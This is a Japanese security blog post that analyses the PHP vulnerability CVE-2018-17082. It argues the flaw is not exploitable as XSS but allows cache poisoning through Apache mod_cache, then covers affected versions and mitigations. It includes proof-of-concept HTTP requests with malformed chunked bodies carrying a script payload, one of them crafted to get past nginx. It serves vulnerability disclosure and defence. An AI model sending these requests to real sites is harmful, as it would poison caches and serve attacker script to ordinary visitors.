エグゼクティブサマリ
PHPの脆弱性CVE-2018-17082はXSSとして報告されているが、現実にはXSSとしての攻撃経路はない。一方、Apacheのmod_cacheによるキャッシュ機能を有効にしているサイトでは、キャッシュ汚染という攻撃を受ける可能性がある。概要
PHPの現在サポート中のすべてのバージョンについて、XSS脆弱性CVE-2018-17082が修正されました。以下は対応バージョンであり、これより前のすべてのバージョンが影響を受けます。ただし、Apacheとの接続にApache2handlerを用いている場合に限ります。- PHP 5.6.38
- PHP 7.0.32
- PHP 7.1.22
- PHP 7.2.10
脆弱性を再現させてみる
この脆弱性のPoCは、当問題のバグレポートにあります。PHP :: Sec Bug #76582 :: XSS due to the header Transfer-Encoding: chunked
要約すると、Apacheハンドラを使用しているPHP環境に対して、壊れたchunkedエンコーディングのリクエストを送信すると、リクエストボディの内容がレスポンスにそのまま付加されてしまうというものです。
以下は、サンプルとしてもちいるPHPスクリプトです。拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」から /31/31-001.php の転用です。
これを以下のURLでアクセスします。88ポートを使っているのは、80ポートだとnginx経由となり、攻撃が刺さらないからです(後述)。<body> <?php echo htmlspecialchars(date('G:i')); ?> </body>
このURLによるHTTPリクエストを以下の赤字のように変更します。http://example.jp:88/31/31-001.php
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked
Content-Length: 32
<script>alert('Hacked')</script>
以下のHTTPレスポンスが返りますが、赤字に示すように、リクエストボディに付加した文字列が追加されています。ちなみに、Transfer-Encoding: chunked の場合、正しいリクエストは以下となります。20は16進数ですので、十進数にすると32ということになります。HTTP/1.1 200 OK Date: Sun, 23 Sep 2018 07:32:44 GMT Server: Apache/2.4.25 (Debian) X-UA-Compatible: IE=edge Content-Length: 52 Connection: close Content-Type: text/html; charset=UTF-8 <body> 16:32</body> <script>alert('Hacked')</script>
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked
20
<script>alert('Hacked')</script>
0
(空行)
CVE-2018-17082は、壊れたchunkedエンーコーディングの場合の処理にバグがあり、不正な結果を返すというものです。CVE-2018-17082はXSSとしては攻撃できない
この脆弱性は元の報告やNVD等ではXSSとして報告されていますが、通常のXSSとは脆性の成り立ちが異なりますし、そもそもXSS攻撃はできません。XSSとして攻撃するためには、被害者のブラウザから壊れたchunkedエンコーディングのリクエストを送信する必要がありますが、それは不可能です。このため、XSS攻撃はできません。
CVE-2018-17082によるキャッシュ汚染(mod_cache編)
しかし、脆弱性の影響がないわけではなく、キャッシュ汚染という手法が使える場合があります。筆者が調査した範囲では、プロキシサーバー形式のキャッシュサーバーでは影響がなく(後述)、Apacheのmod_cacheを用いたキャッシュ(リバースプロキシではなくApacheのレスポンスをダイレクトにキャッシュする場合)では影響があります。以下は、キャッシュ汚染の模式図です。
攻撃対象サイト(Target site)は、Apacheとmod_cacheによるキャッシュを備えています。
攻撃者(Attacker)は、仕掛けを含むリクエストを送ると、レスポンスにJavaScriptを含ませることができますが、その際のレスポンスがファイル等にキャッシュされます。一般利用者が、キャッシュの有効期間中に同じURLにアクセスすると、汚染されたレスポンスを受け取ることになります。
攻撃の様子をデモ動画として用意しました。以下は、mod_cahceを用いてWordPressを高速化をしているサイトを想定したものです。
CVE-2018-17082によるキャッシュ汚染(キャッシュサーバー編)
一方、リバースプロキシによるキャッシュサーバーでは影響がないようです。その理由は、壊れたリクエストを送るとリバースプロキシの時点でエラーになり、リクエストがApacheまで届かないためです。
このパターンについて色々調べてみました。リバースプロキシではエラーにならないが、Apacheではエラーになるパターンがあれば、攻撃できる可能性があります。そのようなパターンとして以下を発見しました。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked
5 <script>alert('Hacked')</script>
ABCDE
0
このリクエストは、nginxだと、リクエストボディの 5 の後に続く空白以降を無視するので、chunkedエンコーディングとしてバリッドとみなされ、エラーになりません。一方、Apacheだと空白以降を無視しないので、以下のようにエラーになります。
HTTP/1.1 400 Bad Request
Date: Mon, 24 Sep 2018 08:36:24 GMT
Server: Apache/2.4.25 (Debian)
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at example.jp Port 88</address>
</body></html>
5 <script>alert('Hacked')</script>
やったーと思いましたが、nginx経由でApacheにリクエストを送信すると、エラーになりません。影響を受けるサイト
当脆弱性が再現するのは Apacheとの接続にApache2handlerを用いていて、以下のPHPバージョンを利用しているケースです。- PHP 5.5以前
- PHP 5.6.37 以前
- PHP 7.0.31 以前
- PHP 7.1.21 以前
- PHP 7.2.9 以前
その他の場合でも、対象のPHPバージョンを使っている場合、早めの対応を推奨します。
各Linuxディストリビューションの対応
RHEL / CentOS / Debian / Ubuntuの主要Linuxディストリビューションのうち、本校執筆時点では Ubuntuのみが対応を完了しています。Ubuntu 14.04、Ubuntu 16.04、Ubuntu 18.04が対象です。その他のディストリビューションは未対応のようです。対策
PHPの最新版(5.6以降)をインストールすることで対策となります。Ubuntuの標準パッケージのPHPを使っているサイトは、前述のように、最新のパッチを適用することでも対策になります。PHPのバージョンアップやパッチ適用が当面できないという場合は、CGIあるいはFast CGIモードでPHPを動かすことでも対策になります。また、HTTPDとしてApacheの代わりにNginx等を用いることでも対策になります。
まとめ
PHP の脆弱性 CVE-2018-17082 について報告しました。当該脆弱性はXSSとしての攻撃はできませんが、キャシュ汚染としての攻撃が可能であることを示しました。PHPスクリプトの中身によらず攻撃が可能なので、攻撃可能な条件に該当するサイトは即時の対応を推奨します。そうでなくても、該当バージョンのPHPをお使いのサイトは、早めのバージョンアップまたはパッチ適用を推奨します。